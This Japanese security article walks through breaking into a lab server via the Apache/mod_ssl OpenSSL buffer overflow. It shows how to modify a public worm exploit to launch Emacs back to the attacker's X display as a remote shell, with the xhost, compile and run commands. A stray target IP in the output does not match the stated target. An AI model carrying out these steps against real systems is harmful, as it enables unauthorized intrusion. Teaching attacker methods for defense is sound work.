「第1回 攻撃者から見た侵入前の事前調査 (下見)」の結果、ターゲットサーバで使用しているOS、待機しているポートおよびソフトウェアの種類を以下のとおり推測することができた。
攻撃者マシンの構成
攻撃対象サーバの構成
待機ポート | サービス名 | 使用ソフトウェア | |
---|---|---|---|
22/tcp | ssh | OpenSSH_3.1p1 | |
25/tcp | smtp | Sendmail 8.11.6 | |
53/tcp | domain | BIND 9.2.0 | |
53/udp | domain | BIND 9.2.0 | |
80/tcp | http | Apache/1.3.23(mod_ssl/2.8.7、OpenSSL/0.9.6b、DAV/1.0.3、PHP/4.1.2、mod_perl/1.26) | |
443/tcp | https | Apache/1.3.23(mod_ssl/2.8.7、OpenSSL/0.9.6b、DAV/1.0.3、PHP/4.1.2、mod_perl/1.26) | |
表1 攻撃対象サーバのサービス構成 |
この結果をもとに、今回は実際の攻撃手法とその対策について説明する。
最新のセキュリティ情報を追い続けている読者であれば、表1を見ただけで、どのサービスにどういった脆弱性が含まれるかを、ある程度は特定できるのではないだろうか? それと同じように、攻撃者も最新のセキュリティ情報を入手し、それを実際の攻撃に活用している。もちろん、攻撃者自身で新たな脆弱性を見付け出すこともあるが、それは極めてまれなことだろう。
入手したソフトウェアのバージョン情報(表1)と既知の脆弱性情報を比較すると、対象サーバには以下の脆弱性が含まれているものと思われる。
このうち、OpenSSHで指摘されている脆弱性は、Red Hat Linux 7.3ではデフォルトの状態では弱点にはならない。よって、本稿では後者のApache、mod_ssl、OpenSSLのいずれかの脆弱性をついた攻撃を実施することになるが、ここではCA-2002-27で指摘されているApache/mod_sslを経由したOpenSSLに含まれるバッファオーバーフローの脆弱性(VU#102795)を利用し、サーバへの侵入を試みる。
脆弱性を特定したはいいが、いざ侵入を試みるとなると、一体何をすればよいのだろうか? ほとんどの攻撃者は、まずその脆弱性をついた攻撃プログラム(ここではexploitコードと呼ぶことにする)を探すことから始めるだろう。
もちろん攻撃者自身でexploitコードを作成することもあるが、ほとんどの場合が作る手間を考えて、すでにあるものを使用するだろう。本稿でも、既存のexploitコードを使用して、対象サーバへの侵入を実際に試みた。
(1)exploitコードを入手する
まずはexploitコードを入手する。本稿で使用するexploitコードは、メーリングリストやWebサイトで公開されているもので、インターネットに接続可能な環境でさえあればだれでも入手することができる。
コラム 〜 バックドア付きのexploitコードに注意! 〜
世の中に出回っているバッファオーバーフロー系のexploitコードの中には、ある脆弱性を攻撃するexploitコードと偽り、実際はexploitコードを実行したシステム上にバックドア(トロイの木馬)を仕掛けたり、システム上の有用な情報を攻撃者のメールアドレスに送信するといったものがある。
なぜ、利用する者がそれに気付かないかというと、バックドアとなる部分をshellcode(egg)と呼ばれるマシン語(処理しやすい16進数などで記述されている)に含めているからだ。もし、検証などでexploitコードを実行する場合は十分に注意するとともに、閉じた環境内で実施することを強くお勧めする。
(2)exploitコードの手直し
入手したexploitコードは、侵入に成功した後にバックドアを仕掛け、さらにはほかのサーバに対しても同様の攻撃を行うことを目的とした、いわゆるワームであった。が、本稿では侵入することだけを目的としているため、対象サーバ上で特定コマンド(emacs)を実行できるように、exploitコードを修正することにした。
Emacsは、ご存知の読者も多いと思うがGNU Projectが提供する多機能エディタで、ファイル編集はもちろんのこと、さまざまな機能が標準で提供される。その中の1つにshellモードと呼ばれるものがあり、本稿でもEmacsのshellモードを利用し、xterm(kterm)などのX Window上で動作するターミナルと同様の処理操作を実現させることにする*1。
以下のコマンドを実行するように、exploitコードを修正した。
env HOME=/tmp emacs -display 172.16.10.10:0.0 |
-display:-dでもよい。emacsを、指定した宛先のX Window上に表示させる。指定例では、172.16.10.10(攻撃者マシン)の6000/tcpポート(:0.0)に表示させようとしている。
なお、これを行う場合は、あらかじめ攻撃者(172.16.10.10)でxhostコマンドを実行し、対象サーバ(192.168.0.10)からの6000/tcp(x11)に対する接続を許可しておく必要がある。
% xhost +192.168.0.10 |
(3)コンパイル
本稿で使用するexploitプログラム(仮にapache-ssl-bug.cとする)はC言語で書かれ、ソースコードとして配布されていた。そのため実際に使用するためには、まずC言語のコンパイラを用いて、ソースコードから実行形式のバイナリファイルを生成する必要がある。ここでは、GCC(Gnu Compiler Collection)を用いて生成した。
% gcc -lcrypto -o apache-ssl-bug
apache-ssl-bug.c |
これによりapache-ssl-bugというバイナリファイル(実行プログラム)が作成される。
(4)侵入の試み
作成した実行プログラムを引数なしで実行してみたところ、使い方が表示された。本exploitコードでは、次のオプションが用意されているようだ。
% ./apache-ssl-bug
…… 途中省略 …… Syntax: ./apache-ssl-bug [options] host Options: -p port port to connect (default 443) 0 Autodetect |
ここで重要となるのが-tオプションの指定値だ。今回対象のバッファオーバーフローの脆弱性をついた攻撃が成功するかどうかは、対象のアーキテクチャ、OS、ソフトウェアの種類やバージョンに依存する。そのため今回の場合は、CPUアーキテクチャがIntel(i386)版のRed Hat Linux 7.3上で動作するApache 1.3.23を攻撃対象にしているため、プログラム実行時の-tオプションには、10(Red-Hat1.3.23)を指定した。
以下は、対象サーバ(192.168.0.10)に対して実施した結果である。
% ./apache-ssl-bug -t 10
192.168.0.10 ……途中省略…… Trying to exploit 192.168.30.177 |
コマンドの実行後、画面1に示すEmacsの画面が攻撃者のX Window 上に表示されたら侵入成功となる。なお、画面1のshellモードを実行するには、M-x shell(Escキー、xキーをタイプし、続けてshellを入力してEnterキーを押す)をタイプすればよい。
画面2は、引き続き対象サーバ上でhostname、uname、idコマンドを実行した結果である。idコマンドで現在のユーザー権限を見ると、apacheが表示されている。これはApache経由で侵入したため、Apacheの実効権限が奪えたということを意味している。なお、奪えるユーザー/グループ権限は、Apache httpd.confのUserおよびGroup項目に依存する。
この時点で対象サーバでは、以下のようなEmacsプロセスが実行され(ps -ef)、また、攻撃者マシンへの6000/tcp(x11)のコネクションが確立されていることが分かる(netstat--inet)。
$ ps -ef
$ netstat --inet |
ここまでくれば、対象サーバにて、OSの再起動、物理的にネットワークから切断、Emacsのプロセスをkillされない限り、引き続きEmacsの環境を利用できる。あとは管理者権限(root)を奪ったり、バックドア(トロイの木馬)を仕掛けたりと、攻撃者はさらなる不正行為を試みるだろう(次回紹介の予定)。
Copyright © ITmedia, Inc. All Rights Reserved.